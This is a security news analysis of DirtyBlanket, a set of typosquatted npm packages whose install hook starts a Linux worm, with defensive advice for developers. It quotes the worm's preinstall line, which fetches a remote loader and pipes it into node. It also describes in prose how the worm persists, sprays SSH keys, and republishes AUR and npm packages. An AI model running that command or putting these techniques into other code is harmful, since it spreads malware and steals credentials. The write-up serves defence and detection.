Nine Packages, 33 Minutes, Three Ecosystems: DirtyBlanket Turns npm Install Into a Self-Spreading Linux Worm

SafeDep published DirtyBlanket on 29 September 2026: nine npm packages from a single account, dirtyblanket, published between 06:05 and 06:38 UTC — one every few minutes. Eight copy the Express framework at version 5.2.1 (xeprews, express-javascript, express-nodejs, exprdd, exprrdd, exptrdd, exptred, exptredd); one copies React at 19.3.0 (react-nodejs). Installing any of them on Linux starts a chain that ends with a Tor-backed remote access tool and a worm that spends your SSH keys, your AUR maintainer access, and your npm tokens to keep going.

This is the second self-spreading supply-chain worm in a week to read like it was designed against the modern agent workstation. We covered the MemTensor sckit worm's poisoned release pipeline on 24 September; DirtyBlanket is the mirror image — not a trusted package compromised, but disposable typosquats carrying a worm that harvests trust itself. And where MALFEX sat in a postinstall hook for fourteen months, DirtyBlanket's most instructive trick is where it hides its first stage.

The Wayback Machine as a CDN

All nine packages share one preinstall line:

curl https://web.archive.org/web/https://codeberg.org/hellscripter/install-scripts/raw/branch/main/node.js | node

The loader is not in the package — it lives in a Codeberg repository, fetched through an Internet Archive snapshot. SafeDep notes the capture is dated 29 September 2026 at 05:24 UTC, about forty minutes before the first package went up. The routing does two jobs at once: network logs show a request to web.archive.org, a domain many allowlists trust, rather than to Codeberg — and the archived copy keeps serving even after the upstream repository is removed. The operator can also repoint the live file at will, since nothing in the package pins a hash. Any control that judges a dependency by what is inside the tarball sees a clean package with a one-line hook pointing at a library website.

Stage one (node.js) runs only on Linux. On any other platform it exits silently; a commented-out PowerShell branch pointing at a placeholder suggests Windows support is planned, not present. On Linux it pulls linux.sh — a 227-line Bash worm — straight from Codeberg and pipes it into bash, with an empty callback so the install prints nothing and fails silently.

What the worm does with your machine

linux.sh runs with the privileges of whoever typed npm install, and it behaves differently depending on the answer. As root it installs Tor, OpenSSH, git, npm and build tools (retrying pacman every second on Arch, one apt-get pass on Debian), drops its backdoor next to the real systemd binaries at /usr/lib/systemd/systemd-fontrenderd, registers a "Font Rendering Service" unit that requires Tor at boot, sets KillMode=none so stopping the service does not stop the implant, and then sets the immutable flag (chattr +i) on the binary, the unit, and the unit link. Without root it downloads the official Tor Expert Bundle and installs equivalent user-level services under ~/.config/systemd/. The naming — directories, units, descriptions — is chosen throughout to look like part of systemd.

The backdoor binary, systemd-fontd, is a 7.6 MB Go build whose module metadata names github.com/tiagorlampert/CHAOS/client: the open-source CHAOS remote administration tool, with two modifications — the settings keys renamed to random strings, and the HTTP client forced through HTTP_PROXY=socks5://127.0.0.1:9050. It beacons device details every 30 seconds and holds a WebSocket command channel open to a Tor hidden service, offering the operator a shell (with the service's privileges — root if the install ran as root), screenshots, file upload/download/delete, directory listing, URL opening, and reboot. Its JWT credential expires 29 September 2027, which reads as a one-year campaign window.

The spread is the payload

The backdoor gets the headlines, but the worm's propagation logic is the part defenders should study. It runs six steps in parallel: it aggregates known_hosts from every user, root, WSL users, and the system files; it finds every readable OpenSSH private key and tries each against each host (key-only, batch mode, uname check, then a remote curl linux.sh | bash under nohup); it logs into aur.archlinux.org with each key, lists the maintainer's packages, clones them, bumps pkgrel, appends a curl line to the .install file, forges the commit author from the repo's own log, commits with the standard upgpkg message and --no-gpg-sign, and pushes; and it walks the filesystem for projects, appends curl <node.js> | node to their preinstall, bumps the patch version, and publishes once per .npmrc token found — then restores the local package.json, so the developer's tree shows no change while the registry carries the worm under their name.

Three details matter operationally. First, hashed known_hosts (HashKnownHosts yes) defeats the SSH enumeration, because the worm reads the first field as a hostname — cheap defense, real effect. Second, the chattr +i flags mean cleanup starts with chattr -i, and even root cannot delete the files until then. Third, SafeDep's own verdict is total: if a Linux machine installed one of these packages, treat the machine and every key and token on it as compromised — because the worm demonstrably exfiltrates all three to new infrastructure.

What to do

  • Check for the nine names before anything else. Search lockfiles, CI caches, mirrors, and base images for xeprews, express-javascript, express-nodejs, react-nodejs, exprdd, exprrdd, exptrdd, exptred, and exptredd — and for the Wayback preinstall string, which the worm also appends to legitimate projects it republishes. A hit on a build host means the host, its keys, and its tokens are all in scope.
  • Stop trusting the archive domain. If your egress policy allowlists web.archive.org, scope install-time network access so lifecycle hooks cannot reach it — or better, deny network access during npm install entirely and prefetch through a vetted proxy. An immutable-looking URL is not an integrity guarantee.
  • Hash your known_hosts and passphrase your keys. HashKnownHosts yes breaks this worm's lateral movement outright, and passphrase-protected keys are unreadable to its file-scraping loop. Both are one-line SSH client settings.
  • Watch AUR and npm for your own identity. Review recent commits to packages you maintain for upgpkg bumps you did not make, unsigned commits, and new .install content; review npm versions published under your tokens for preinstall additions. The worm forges both to look routine.
  • Count agent workstations as high-value targets. An AI coding-agent machine concentrates exactly what this worm shops for: SSH keys, registry tokens, maintainer credentials, and unattended npm install execution. Isolate agent build environments, scope their tokens, and give them no keys they do not need.

Our write-up is static analysis of SafeDep's published research; we did not execute any stage. Indicator table, file hashes, and the onion address below are SafeDep's published IOCs.

Sources: